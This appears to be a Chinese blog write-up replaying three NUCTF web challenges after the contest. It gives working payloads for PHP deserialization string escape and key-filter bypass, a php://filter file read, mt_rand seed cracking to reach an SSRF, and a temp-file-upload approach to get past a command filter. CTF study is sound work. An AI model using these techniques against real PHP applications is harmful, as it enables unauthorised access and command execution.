CTF

Nuctf复现

学习学习

Posted by lll-yz on June 11, 2021

太菜了,只能赛后复现复现了。

EasyUnser

这个还是很简单的,就简单说一下。只要学了反序列化字符逃逸,这个题是没有问题的。

<?php
    include_once 'flag.php';
    highlight_file(__FILE__);
    // Security filtering function
    function filter($str){
        return str_replace('secure', 'secured', $str);
    }
    class Hacker{
        public $username = 'margin';
        public $password = 'margin123';
    }
    $h = new Hacker();
    if (isset($_POST['username']) && isset($_POST['password'])){
        // Security filtering
        $h->username = $_POST['username'];
        $c = unserialize(filter(serialize($h)));
        if ($c->password === 'hacker'){
            echo $flag;
        }
    }

先随便构造一个:

<?php
class Hacker{
	public $username = 'aa';
	public $password = 'hacker';
}

$h = new Hacker();
echo serialize($h);
?>

得到:

 O:6:"Hacker":2:{s:8:"username";s:2:"aa";s:8:"password";s:6:"hacker";} 

而我们需要的部分为:

";s:8:"password";s:6:"hacker";} 

它的长度为 31。这里我们可以看到 filter函数会将 secure 替换为 secured,使字符增加1,所以我们可以用 31个 secure,将我们需要的字段逃逸出来,构造payload:

username=securesecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecuresecures";s:8:"password";s:6:"hacker";}&password=a

Just Serizlize

<?php

highlight_file(__FILE__);
include 'flag.php'; // $flag = "DASCTF{xxxxx}"
$obj = $_GET['obj'];
if (preg_match('/flag/i', $obj)) {
    die("?");
}
$obj = @unserialize($obj);
if ($obj->flag === 'flag') {
    $obj->flag = $flag;
}
foreach ($obj as $k => $v) {
    if ($k !== "flag") {
        echo $v;
    }
} 
<?php
$obj = (object)['flag'=>'flag'];
$obj->k = &obj->flag;
echo serialize($obj);
?>

得到:O:8:"stdClass":2:{s:4:"flag";s:4:"flag";s:1:"k";R:2;}

用 hex 编码 flag 绕过 if($k !== "flag") ,表示字符类型的 s 大写时,会被当成16进制解析,定义一个变量取 flag 变量的地址即可得到 flag 变量的值。

O:8:"stdClass":2:{S:4:"\66lag";S:4:"\66lag";s:1:"k";R:2;}

crackme

php 变量:字母数字下划线。

所以需要绕过 变量中的.

2bbAun.png

crack[me.com 绕过这个 .

伪协议读取题目提示的文件,把 bingbing带上:

crack[me.com=php://filter/read=convert.base64-encode|bingbing/resource=ssssrf.php

得到 ssssrf.php:

<?php
//next ,you can try ccccmd.php
error_reporting(0);
function curl($url){
	$ch=curl_init($url);
	curl_setopt($ch, CURLOPT_HEADER, 0);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	$result=curl_exec($ch);
	curl_close($ch);
	echo ($result);
}
$num=$_GET['num'];
mt_srand(getenv('SEED'));
$r1=mt_rand();
echo $r1;//1230557482
$r2=mt_rand();
if($num==$r2){
	$url=$_GET['url'];
	curl($url);
}

可以 ssrf ,但是需要先绕过 $r2=mt_rand();

这里 mt_srand(getenv('SEED')); 设置了种子,爆破伪随机数种子,使用 php_mt_seed。得到种子,即得到第二个随机数,ssrf。

2qShxf.png

执行生成正确的种子:

<?php
mt_srand("134196");
$r1 = mt_rand();
$r2 = mt_rand();
echo $r1."<br>";
echo $r2;
?>
//得到 396791256

得到随机种子,可以 ssrf,得到 ccccmd.php:

<?php
//now you can crack me!
error_reporting(0);
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
	if(isset($_GET['cmd'])){
		$cmd=$_GET['cmd'];
		if(!preg_match("/\;|\x0a|[a-z]|[0-9]|\~|\`|\\$|\^|\||\&|\%|\:|\(/i", $cmd)){
			system($cmd);
		}
		else{
			die('no way!');
		}
	}
}
else{
	die('get out stranger!');
}

到了这里,发现普通命令被过滤了,采用上传临时文件道 /tmp,然后通配符匹配以 sh脚本执行。

构造上传数据包:

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>POST数据包POC</title>
</head>
<body>
<form action="http://xxx.xxx.xxx/xxx....." methon="post" enctype="multipart/form-data">
<!--链接是打开当前题目链接-->
	<label for="file">文件名:</label>
	<input type="file" name="file" id="file"><br>
	<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

.